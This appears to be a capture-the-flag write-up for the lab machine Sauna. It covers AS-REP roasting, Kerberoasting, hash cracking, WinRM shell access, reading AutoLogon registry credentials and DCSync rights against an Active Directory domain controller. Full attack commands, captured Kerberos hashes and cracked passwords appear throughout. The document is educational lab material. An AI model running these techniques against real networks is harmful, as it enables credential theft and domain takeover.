Table of contents
Just another ASREPRoast / WinRM / Autologon / NTDS.dit / NC / Replication Topology / PsExec / SAM LM:NT
/ DCSync Write-up.
You may register the Microsoft Learn (with Windows filter) documentation bookmark for reference :)
There might be some discrepencies in this article. Indeed, I will sometimes use
cme
, and some other timesnxc
. The methodology, however, remains identical. In the current context of this article,cme
andnxc
are interchangeable.If you don’t have the AD Modules installed, you need to enable the RSAT (Remote Server Administration Tools) features, or install them.
You might find articles talking about NTHashes using the term NTLM hash. This is a wrong association. NTLM is a Windows Challenge/Response authentication protocol.
IppSec Walthrough (demonstrating
vim
’s macros, insane !)
Foothold
Open ports
Numerous ports are open on the target:
kali@kali:~$ masscan -p1-65535 10.10.10.100 --rate=1000 -e tun0 > ports
kali@kali:~$ nmap -Pn -sV -sC 10.10.10.100 -v2 -oN nse.nmap -p $(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' |sort -n | tr '\n' ',' | sed 's/,$//' )
[...]
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
80/tcp open http syn-ack Microsoft IIS httpd 10.0
|_http-title: Egotistical Bank :: Home
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2023-09-13 04:38:59Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack .NET Message Framing
49667/tcp open msrpc syn-ack Microsoft Windows RPC
49673/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc syn-ack Microsoft Windows RPC
49676/tcp open msrpc syn-ack Microsoft Windows RPC
49695/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 6h59m56s
| smb2-time:
| date: 2023-09-13T04:39:49
|_ start_date: N/A
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 35558/tcp): CLEAN (Timeout)
| Check 2 (port 45653/tcp): CLEAN (Timeout)
| Check 3 (port 55552/udp): CLEAN (Timeout)
| Check 4 (port 57297/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
In particular, the ports:
135 (RPC), 139/445 (Netbios/SMB) and 5985 (WinRM) reveal the target is a Windows Machine.
53 (DNS), 88 (Kerberos) and 389/636 (LDAP/S) reveal the target is a Domain Controller (especially because of the Kerberos service).
Thus, because the SMB service is open on the server, we might use the smb
protocol with crackmapexec
. The server’s FQDN (Fully Qualified Domain Name) is SAUNA.EGOTISTICAL-BANK.LOCAL
:
kali@kali:~$ cme smb 10.10.10.175
SMB 10.10.10.175 445 SAUNA [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
First things first, let's add this DNS server to our /etc/resolv.conf
to make it resolve any domain names related with the SAUNA’s scope:
kali@kali:~$ sudo echo 'nameserver 10.10.10.175 > /etc/resolv.conf'
Down the rabbit holes (just a bit, that’s okay)
Any anonymously accessible share ?
kali@kali:~$ cme smb 10.10.10.175 -u 'a' -p ''
SMB 10.10.10.175 445 SAUNA [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.175 445 SAUNA [-] EGOTISTICAL-BANK.LOCAL\a: STATUS_LOGON_FAILURE
Nope :[
Let's move on to the IIS web server.
Guessing Bank usernames ?
The web server is hosting an application named Egotistical Bank
.
Different names are disclosed in the about.html
page:
These names are likely to correspond to valid domain users candidates:
sdriver
scoins
btaylor
fsmith
hbear
skerb
As we can see in the WADComs’s cheatsheet, when we only have usernames, a good attack scenario is to check which domain users have the Kerberos Pre-Authentication disabled. Such users are said to be ASREPRoastable.
Kerberos authentication (TLDR)
For more details, check out RFC4120, ionos, tarlogic, or my Active article which writeups the Kerberos authentication concepts.
The Kerberos authentication process and resource access is mainly made up of 3 exchanges, each made up of 2 messages (a REQuest, and a REsPonse):
KRB_AS_REQ/REP
: The client authenticates to the KDC/AS server to get a TGT.KRB_TGS_REQ/REP
: The client uses that TGT to authenticate to the KDC/TGS (server) and get a TGS (service).KRB_AP_REQ/REP
: The client uses that TGS to communicate with the final APplication server hosting the desired service.
The exchange we’re interested in is the first one, where the client is authenticating to the KDC/AS via the 2 messages KRB_AS_REQ
and KRB_AS_REP
.
Images taken from tarlogic.
ASREPRoast
Good references to check (among many others): hacktricks, The Hacker Recipes.
References to a
Domain Account
(orAccount
) object is refering to either aDomain User
or aDomain Computer
object. These words are interchangeable in this section.
Quick Overview
By default, Active Directory Domain Accounts have an attribute named DoesNotRequirePreAuth
set to $False (0)
. However, it is possible to change this value to $True (1)
using the Set-ADAccountControl
cmdlet, which implies that the updated account’s Kerberos pre-authentication is NOT required to logon.
As stated in RFC4120, Kerberos pre-authentication refers to the initial
KRB_AS_REQ
exchange, where the account currently holds no credentials.
When that attribute is set to $True (1)
, this very first message in the Kerberos authentication doesn’t require the account to prove its identity, with its secret key (NTHash derived from its password), to get a TGT:
Therefore, an attacker able to communicate with the KDC/AS may ask a TGT on behalf of any domain user without the user’s secret key (i.e. password or NTHash).
As said previously, this TGT request is done in the KRB_AS_REQ
message. However, the KRB_AS_REP
response contains the TGT, but most importantly, part of the response is encrypted with the impersonated user’s NTHash by the KDC/AS:
Indeed, the KDC/AS stores every users’ NTHashes in tis database. Thus, it can provide, in its response, information encrypted with the requestee’s NTHash.
ASREPRoast exploits that flaw. ASREPRoasting allows the attacker to get a TGT’s response, on behalf of an arbitrary domain user, which contain information encrypted with the user’s NTHash. Therefore, the attacker can try to offline-crack that NTHash using public tools such as john
or hashcat
.
Detection
We may get these ASREPRoastable accounts using:
- The
asreproast
module inCrackMapExec
:
kali@kali:~$ cme ldap 10.10.10.175 -u users.txt -p '' --asreproast ASREProastables.txt --kdcHost 10.10.10.175
[...]
SMB 10.10.10.175 445 SAUNA [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
LDAP 10.10.10.175 445 SAUNA $krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:58c2d8474aa26d44b23f945a854e753d$bb9ca0e5b550e00c18936fc9c520e585472ca55326b98cbfe265ae85a55c5b09245bedb38621d6cc4ea65353216703ab1fa22cf643a74630dcdbdadc33168265d2bd3490dfb0d474d5d09f719a02746ce3870edc6e4145cf4ed0800e8b3bfcc507b48b8fa8a534359a98bc0e66c57e9313dc553a69a890a24062759b2dbf6d664fd567e40203b45e2068a54af1fe763793bb0293ce9d53a1cf6584df1bc34755b24f63de5fc2a4f75b7d124e84908f0dc54e8b15f36b1782457cdf8846c2e4c51f50c7e867a60f00413dce053a0cc05eaa484ee98f4d0665ec741e5009707126c0a1ba6e17af68cb0df8ee04bb0c0ae920cda989aa6d8900c4c79d746cc2ef30
The impacket
GetNPUsers.py
script.GetNPUsers.py
reads the list of users. Then, for each user, the thegetTGT()
function constructs theKRB_AS_REQ
message accordingly to request a TGT. If the user is ASREPRoastable, it returns the corresponding TGT (KRB_AS_REP
). Otherwise, it returns an error:
kali@kali:~$ GetNPUsers.py -dc-ip 10.10.10.175 EGOTISTICAL-BANK.LOCAL/ -usersfile users.txt -format hashcat |grep -v 'KDC_ERR_C_PRINCIPAL_UNKNOWN'
Impacket v0.13.0.dev0+20241024.90011.835e175 - Copyright Fortra, LLC and its affiliated companies
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:05dc718abd836a79063d8b63c4a54286$a3e220b081abc1b7007707b6126fffd2633a40d8e7be6b818f415fe58c23f77af0f6861a689a0c545c54724143393bb9c174f220b80bb1f56ea67d142bd0b65b1a4a7e3003fc6cd8ee6e0dc00a46469dadc9c2b17d85ef29c419eaa897545d1cc29e85562d35582d819782775dcb3f972d213b7bc9afb6e7b7a0adc62d79b1e6a0d82e8f4c0c11b0e0d7ac71bcc91daa2ab8162c2da273336a5502f6574a706d54351e1ab60e22cda0aa38e1c9c79e7e73cf98c2ef617c676ae733c8568f77862a6c151aa913e0b1f646579d4076992e0262d6aa4cd5105a8027ce23634dd7a4d3741c29a0e4d62a63b62abd55f6c4a5217335fd061c4a7dbb4f21f6a314038c
(Jumping into the future: We could also have used the AD modules, after having access to the target’s shell. You might check by yourself afterwards in this article, when you
evil-winrm
'edsvc_loanmgr
.)
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> Get-ADUSer -Filter { DoesNotRequirePreAuth -eq $true } -Properties DoesNotRequirePreAuth DistinguishedName : CN=Fergus Smith,CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL DoesNotRequirePreAuth : True Enabled : True GivenName : Fergus Name : Fergus Smith ObjectClass : user ObjectGUID : b6a6403e-a7df-4abf-92fb-b5bf1a5e3aed SamAccountName : FSmith SID : S-1-5-21-2966785786-3096785034-1186376766-1105 Surname : Smith UserPrincipalName : FSmith@EGOTISTICAL-BANK.LOCAL
As we can see, only one domain user is ASREPRoastable: fsmith
.
TGT cracking
When I say TGT cracking, I implicitly mean cracking the user’s NTHash, which encrypts part of the
KRB_AS_REP
message.Indeed, cracking the TGT, literally, means cracking the part of the
KRB_AS_REP
message encrypted by thekrbtgt
’s account NTHash. However, this is (mostly) not possible. Check my Active CTF article for more details.
Then, we can crack fsmith
’s NTHash using either hashcat
or john
:
kali@kali:~$ hashcat -m 18200 --force -a 0 hashes /usr/share/wordlists/rockyou.txt
kali@kali:~$ echo '$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:58[...]30' |john --wordlist=/usr/share/wordlists/rockyou.txt /dev/stdin
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 SSE2 4x])
Will run 3 OpenMP threads
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
Thestrokes23 ($krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL)
john
reveals the password Thestrokes23
. So, we may compromise the account EGOTISTICAL-BANK.LOCAL/fmisth:Thestrokes23
!
Ldap2BloodyHound
This account has access to the LDAP service:
kali@kali:~$ nxc ldap 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' -d 'EGOTISTICAL-BANK.LOCAL'
SMB 10.10.10.175 445 SAUNA [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
LDAP 10.10.10.175 389 SAUNA [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23
Then, we can look for interesting attack path vectors in a graph BloodHound view via the bloodhound.py
ingestor:
kali@kali:~$ bloodhound.py -u 'fsmith' -p 'Thestrokes23' -d EGOTISTICAL-BANK.LOCAL -dc SAUNA.EGOTISTICAL-BANK.LOCAL -ns 10.10.10.175 -c all --zip
kali@kali:~$ ls -l *bloodhound.zip
-rw-rw-r-- 1 jamarir jamarir 141536 Oct 26 15:50 20230913003310_bloodhound.zip
Windows Remote Management Users ?
As shown in the Nmap scan previously, the WinRM (Windows Remote Management) service is running:
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
The WinRM service provides IT professionnals to automate the servers’ management remotely. In a nutshell, we can use WinRM to get a remote shell in the network on systems running WinRM. The domain users allowed to access this service are the members of the Remote Management Users
group:
We could also have used the following LDAP query to get the members of the Remote Management Users
group:
kali@kali:~$ nxc ldap 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' -d 'EGOTISTICAL-BANK.LOCAL' --query "(&(memberOf=CN=Remote Management Users,CN=Builtin,DC=EGOTISTICAL-BANK,DC=LOCAL))" "sAMAccountName distinguishedName objectCategory memberOf"
SMB 10.10.10.175 445 SAUNA [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
LDAP 10.10.10.175 389 SAUNA [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23
LDAP 10.10.10.175 389 SAUNA [+] Response for object: CN=Fergus Smith,CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL
LDAP 10.10.10.175 389 SAUNA distinguishedName: CN=Fergus Smith,CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL
LDAP 10.10.10.175 389 SAUNA memberOf: CN=Remote Management Users,CN=Builtin,DC=EGOTISTICAL-BANK,DC=LOCAL
LDAP 10.10.10.175 389 SAUNA sAMAccountName: FSmith
LDAP 10.10.10.175 389 SAUNA objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
LDAP 10.10.10.175 389 SAUNA [+] Response for object: CN=L Manager,CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL
LDAP 10.10.10.175 389 SAUNA distinguishedName: CN=L Manager,CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL
LDAP 10.10.10.175 389 SAUNA memberOf: CN=Remote Management Users,CN=Builtin,DC=EGOTISTICAL-BANK,DC=LOCAL
LDAP 10.10.10.175 389 SAUNA sAMAccountName: svc_loanmgr
LDAP 10.10.10.175 389 SAUNA objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
SVC_LOADMGR
and FSMITH
are members of this group. For example, as we can see in the following crackmapexec
’s output shows, FSMITH
is allowed to access the WinRM service exposed on 10.10.10.175:
kali@kali:~$ cme winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' -d EGOTISTICAL-BANK.LOCAL
WINRM 10.10.10.175 5985 SAUNA [*] Windows 10 / Server 2019 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
WINRM 10.10.10.175 5985 10.10.10.175 [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)
Thus, we can get an interactive remote PowerShell session over WinRM using evil-winrm
, and get the user’s flag:
By default, port 5985 (HTTP) is used. To use port 5986 (HTTPS), the option
—ssl
must be added.
kali@kali:~$ evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
Evil-WinRM* PS C:\Users\FSmith\Documents> Get-Content c:/users/fsmith/desktop/user.txt
12[...]68
It’s also possible to execute an arbitrary command in PowerShell using the
Invoke-Command
cmdlet.If the command fails, you might need to add the domain in your local WSMan’s trusted hosts (see the Microsoft documentation).
PS C:\Users\jamarir> Set-Item WSMan:\localhost\Client\TrustedHosts "*.EGOTISTICAL-BANK.LOCAL" PS C:\Users\jamarir> Invoke-Command -ComputerName SAUNA.EGOTISTICAL-BANK.LOCAL -Credential (New-Object System.Management.Automation.PSCredential('EGOTISTICAL-BANK.LOCAL\fsmith',(ConvertTo-SecureString 'Thestrokes23' -AsPlainText -Force))) -ScriptBlock {Get-Content c:/users/fsmith/desktop/user.txt} 12[...]68
Kerberoasting or Password Reusage ? That is the question.
You may check my Active CTF article for more details on this attack.
In BloodHound, we see that, besides the krbtgt
account (that hosts the kadmin/changepw
), the user HSmith
is Kerberoastable:
Then, we may use the GetUserSPNs.py
script, from the impacket suite, to request a TGS for all domain users with a not-NULL SPN attribute (hmsith
alone here, if we consider krbtgt
not Kerberoastable):
kali@Kkali:~$ impacket-GetUserSPNs -request -dc-ip 10.10.10.175 EGOTISTICAL-BANK.LOCAL/'fsmith:Thestrokes23'
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
---------------------------------------- ------ -------- -------------------------- --------- ----------
SAUNA/HSmith.EGOTISTICALBANK.LOCAL:60111 HSmith 2020-01-23 06:54:34.140321 <never>
[-] CCache file is not found. Skipping...
$krb5tgs$23$*HSmith$EGOTISTICAL-BANK.LOCAL$EGOTISTICAL-BANK.LOCAL/HSmith*$64a08e2b30101b17ecf09508409b8942$8b9cd945eb4ed735562a76ab44c5d9ab5a8f73494abce25e595689ab4b364cc3cbba48261426e293af59af9826d823e81c7f26dc03eeb3a00ec9562c851955224f2eae5f03fa9f887c93dce1f54c096f95bfb9e1ed271b8c1ed299affb1e7538a99a52724b8281b4df5aca4ba46b1e6fb180c0b1948050c9d8cd5de4a083b3f7c7b91eb9bf15834348e40b8f2751c50f2f01c2a506c72acdcf36f5376dab0de2b590437c8a08fcbb3d46b024cfbd6f5013d84bac09f54868b67ae21168f9506dd171641c568af09332fea9a39774a4f3b72eac1609458a37a5d8d43f531c0b8b4c2114af96a199b99b730e65f9546a644a9bcc4ef2981faaf66e254f5921e92ec93b377fff149980a4307c08f5b7d539daf478fb380be8790219d3ba74da9b70bbee9612a099d9e5ed7e23e7333185dc7f6fa6496c710e1e8340327c2a3e908da0226360c459f75a7a481127a4a930186e22c86ade609864aaacb7cf823f641bd99a6d682ef763172c50059a6d37690d946598a2f3f8a792712ba70adf719423c841bfe55551ac84f9899bed0c6cc22661f6632d8d6cb3ed432d0a15cfd256ae2b1ddec237adbe51893088699e7e9f06d1702d4d9f6451e37dd551df51c9d7f0c7177e689732a1764c8e7a27f6c785f5f3424bc3e9a8568bf882fc97e1f21230964b4f619f3ffc25def1c092b7765b67211b63150b614b038058710033e3d4b85073a5e4538777bf5074b99fb99969050e20e90c398efd5ce37c3a7b1c24d13f6c31467087a2f77c050ebbc7146ee8879924d93fd8668df48e4d6003c04dbabb4ee11df98ec4037c472c2aa5c79eefdbae18fc4ee70e5249e7c5a7cfdb03a529d374ff03430a70f99d3023dfffeb87e1c16a8f0f03775dc904a8e773c74dceb0e56d8b87fb839075c105e49996e757a2ad176d8e9b34baef963076f7a74279175dac3c3d7a0b6982b91cff5ee15e8d929b84e1b967984e2133aff8e95465f6887f89413762b76d1a20d06bf6a347a6bf5939e9c842bc519f96bd2698f8a86215a2e7cc1fa05ac2098a3b9f4e5d4d84253283e2e7f0a87c867f0d9c454b1717e7be150916527e85a5958e732fc33589c05e7effcb1c1769a7954db4769766b8c0066f049067a80302543b080cee4390ba17a5f9fad0deb5b9f886381e372e8c9d96333f08b5e88f12aa5580649db05465d8d88e5f34287ea46a54fabcca114445ad921314f2aa567d51a5e3fa886df193273b3c93ee2cdd9e62116b5f335bbb428c5bdf480a275efec376075f131c3365b5aa1b27b443b282974dddfc422293eb46587ae733d0e9ee398a8fb14d90ab6bc705535ae54f7034e9274b24785e5503b512ce9e08425304f2a19a35c9941203cf582a034210708251a81f1828bb5de0329ea45895
If you have the error
KRB_AP_ERR_SKEW(Clock skew too great)
when running the above script, it means your local attacker machine‘s time isn’t synchronized with the DC’s one:
kali@Kkali:~$ impacket-GetUserSPNs -request -dc-ip 10.10.10.175 EGOTISTICAL-BANK.LOCAL/'fsmith:Thestrokes23' Impacket v0.13.0.dev0+20241024.90011.835e175 - Copyright Fortra, LLC and its affiliated companies ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation ---------------------------------------- ------ -------- -------------------------- --------- ---------- SAUNA/HSmith.EGOTISTICALBANK.LOCAL:60111 HSmith 2020-01-23 06:54:34.140321 <never> [-] CCache file is not found. Skipping... [-] Principal: EGOTISTICAL-BANK.LOCAL\HSmith - Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
Indeed, every Kerberos ticket relies on time to define the tickets’ expiration, encrypt the timestamp proving the client’s authenticity, etc.. As the RFC4120 states on the
KRB_AP_REQ
’s receipt: “If the local (server) time and the client time in the authenticator differ by more than the allowable clock skew (e.g., 5 minutes), theKRB_AP_ERR_SKEW
error is returned.”The DC here is also an NTP server, as it runs the NTP service on port UDP 123:
kali@kali:~$ sudo nmap -sU -p123 --open -Pn --disable-arp-ping 10.10.10.175 [...] PORT STATE SERVICE 123/udp open ntp
Then, we may synchronize our local time with the DC:
kali@kali:~$ sudo timedatectl set-ntp 0; sudo rdate -n 10.10.10.175
And crack this NTHash:
kali@kali:~$ echo '$krb5tgs$23$*HSmith$EGOTISTICAL-BANK.LOCAL$EGOTISTICAL-BANK.LOCAL/HSmith*$64a08e2b30101b17ecf09508409b8942$8b9cd945eb4ed735562a76ab44c5d9ab5a8f73494abce25e595689ab4b364cc3cbba48261426e293af59af9826d823e81c7f26dc03eeb3a00ec9562c851955224f2eae5f03fa9f887c93dce1f54c096f95bfb9e1ed271b8c1ed299affb1e7538a99a52724b8281b4df5aca4ba46b1e6fb180c0b1948050c9d8cd5de4a083b3f7c7b91eb9bf15834348e40b8f2751c50f2f01c2a506c72acdcf36f5376dab0de2b590437c8a08fcbb3d46b024cfbd6f5013d84bac09f54868b67ae21168f9506dd171641c568af09332fea9a39774a4f3b72eac1609458a37a5d8d43f531c0b8b4c2114af96a199b99b730e65f9546a644a9bcc4ef2981faaf66e254f5921e92ec93b377fff149980a4307c08f5b7d539daf478fb380be8790219d3ba74da9b70bbee9612a099d9e5ed7e23e7333185dc7f6fa6496c710e1e8340327c2a3e908da0226360c459f75a7a481127a4a930186e22c86ade609864aaacb7cf823f641bd99a6d682ef763172c50059a6d37690d946598a2f3f8a792712ba70adf719423c841bfe55551ac84f9899bed0c6cc22661f6632d8d6cb3ed432d0a15cfd256ae2b1ddec237adbe51893088699e7e9f06d1702d4d9f6451e37dd551df51c9d7f0c7177e689732a1764c8e7a27f6c785f5f3424bc3e9a8568bf882fc97e1f21230964b4f619f3ffc25def1c092b7765b67211b63150b614b038058710033e3d4b85073a5e4538777bf5074b99fb99969050e20e90c398efd5ce37c3a7b1c24d13f6c31467087a2f77c050ebbc7146ee8879924d93fd8668df48e4d6003c04dbabb4ee11df98ec4037c472c2aa5c79eefdbae18fc4ee70e5249e7c5a7cfdb03a529d374ff03430a70f99d3023dfffeb87e1c16a8f0f03775dc904a8e773c74dceb0e56d8b87fb839075c105e49996e757a2ad176d8e9b34baef963076f7a74279175dac3c3d7a0b6982b91cff5ee15e8d929b84e1b967984e2133aff8e95465f6887f89413762b76d1a20d06bf6a347a6bf5939e9c842bc519f96bd2698f8a86215a2e7cc1fa05ac2098a3b9f4e5d4d84253283e2e7f0a87c867f0d9c454b1717e7be150916527e85a5958e732fc33589c05e7effcb1c1769a7954db4769766b8c0066f049067a80302543b080cee4390ba17a5f9fad0deb5b9f886381e372e8c9d96333f08b5e88f12aa5580649db05465d8d88e5f34287ea46a54fabcca114445ad921314f2aa567d51a5e3fa886df193273b3c93ee2cdd9e62116b5f335bbb428c5bdf480a275efec376075f131c3365b5aa1b27b443b282974dddfc422293eb46587ae733d0e9ee398a8fb14d90ab6bc705535ae54f7034e9274b24785e5503b512ce9e08425304f2a19a35c9941203cf582a034210708251a81f1828bb5de0329ea45895' |john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt /dev/stdin
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 3 OpenMP threads
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
Thestrokes23 (?)
Well, the password is the same as fsmith
(EGOTISTICAL-BANK.LOCAL/hmisth:Thestrokes23
), I should have begun with a password spray attack ^^’ (where the same password is used for all known usernames).
Anyway, we compromised the fsmith
’s account, and already gotten a shell on the box !
Privilege escalation
Autologon for svc_loanmgr
? Legit !
With our shell, we can enumerate what’s in the system using the WinPEAS
PowerShell script for example:
kali@kali:~$ evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' -s /usr/share/powershell-empire/empire/server/data/module_source/privesc
*Evil-WinRM* PS C:\Users\FSmith> upload Invoke-winPEAS.ps1
*Evil-WinRM* PS C:\Users\FSmith> Import-Module ./Invoke-winPEAS.ps1
*Evil-WinRM* PS C:\Users\FSmith> Invoke-winPEAS
[...]
╔══════════╣ Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultDomainName : EGOTISTICALBANK
DefaultUserName : EGOTISTICALBANK\svc_loanmanager
DefaultPassword : Moneymakestheworldgoround!
[...]
The
-s
option inevil-winrm
allows to specify a directory containing local PS1 scripts. These scripts are then automatically downloaded by the target receiving the WinRM connection. MyWinPEAS
’s script is taken from the BC-SECURITY/Empire github repo, installed usingapt
.
kali@kali:~$ evil-winrm --help
Evil-WinRM shell v3.7
Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX] [-l]
[...]
-s, --scripts PS_SCRIPTS_PATH Powershell scripts local path
[...]
As WinPEAS
reveals, the svc_loanmanager
account has been granted the AutoLogon builtin mechanism.
When applied on an account in the domain, the account automatically authenticates to the computer without having to specify his credentials (username and password). This mechanism can be setup easily via the registry editor, or the Autologon.exe
tool from the Sysinternals
suite.
However, as expected, the credentials are stored in plaintext in the registry…
Therefore, we can retrieve them ourselves:
*Evil-WinRM* PS C:\Users\FSmith\Documents> Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" |findstr /r "^Default"
DefaultDomainName : EGOTISTICALBANK
DefaultUserName : EGOTISTICALBANK\svc_loanmanager
DefaultPassword : Moneymakestheworldgoround!
However, these credentials doesn't work with evil-winrm
and the username svc_loanmanager
:
kali@kali:~$ evil-winrm -i 10.10.10.175 -u 'svc_loanmanager' -p 'Moneymakestheworldgoround!'
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
This is simply because this username doesn’t exist ! This svc_loanmanager
username wasn’t part of the Remote Management Users
group, so it wouldn’t be possible to initiate a WinRM connection on the target anyway, even if it existed.
*Evil-WinRM* PS C:\Users\FSmith\Documents> net user svc_loanmanager
net.exe : The user name could not be found.
+ CategoryInfo : NotSpecified: (The user name could not be found.:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
More help is available by typing NET HELPMSG 2221.
The correct username is actually the one within the Remote Management Users
seen in BloodHound above: svc_loanmgr
. Thus, we can compromise this account via WinRM as well !
kali@kali:~$ evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents>
DCSync for svc_loanmgr
? Why not !
BloodHound shows that svc_loanmgr
account has the right to DCSync:
In particular, the BloodHound’s Help
popup says:
You may check hacktricks, The Hacker Recipes, InternalAllTheThings, harmj0y, adsecurity, Microsoft Learn (Windows filtered), santhosksblog, or itfreetraining, among many other resources, for an in-depth understanding.
The svc_loadmgr
account has 3 rights on the domain, whose respective definitions are:
GetChangesAll (i.e. DS-Replication-Get-Changes-All): Allows the replication of secret domain data.
GetChanges (i.e. DS-Replication-Get-Changes): Needed right to replicate changes from a NC.
DCSync (DS-Replication-Synchronize): Needed right to synchronize replication from a NC.
A Naming Context, annotated NC, is one of the 4 default partitions of the ADDS (Active Directory Domain Services)’s Database.
NTDS.dit
huh ?
Active Directory stores information (oh, really ?!) such as users, computers, NTHashes, server names, groups, policies, etc. These information are stored in the Active Directory’s database, called the NTDS (NT Directory Services) file, in C:\Windows\ntds\NTDS.dit
.
Let’s quickly review the NTDS’s architecture.
Naming Context huh ?
The NTDS file is divided into sections called Partitions. These partitions are stored as a tree structure of 4 Partitions:
Schema Partition.
Configuration Partition.
Domain Partition.
Application Partition.
This tree definition can be retrieved using the Get-ADRootDSE
cmdlet from the AD Modules:
I changed the output’s lines order to coincide with the 4 partitions’ order above.
PS C:\Users\jamarir> Get-ADRootDSE -Credential (New-Object System.Management.Automation.PSCredential('EGOTISTICALBANK.LOCAL\fsmith',(ConvertTo-SecureString 'Thestrokes23' -AsPlainText -Force))) -Server 10.10.10.175 |Select-Object -Expand namingContexts
1. CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
2. CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
3. DC=EGOTISTICAL-BANK,DC=LOCAL
4. DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
You may check the Microsoft Learn’s glossary, or the ADDS’s Overview, for more details.
Schema Partition / Directory Partition: Defines the types of objects that can exist in the forest, or the names’ nomenclature (among other things), and is replicated over the forest’s DCs. It basically defines the AD database’s layout. These types are divided into 2 categories:
attributeSchema
orclassSchema
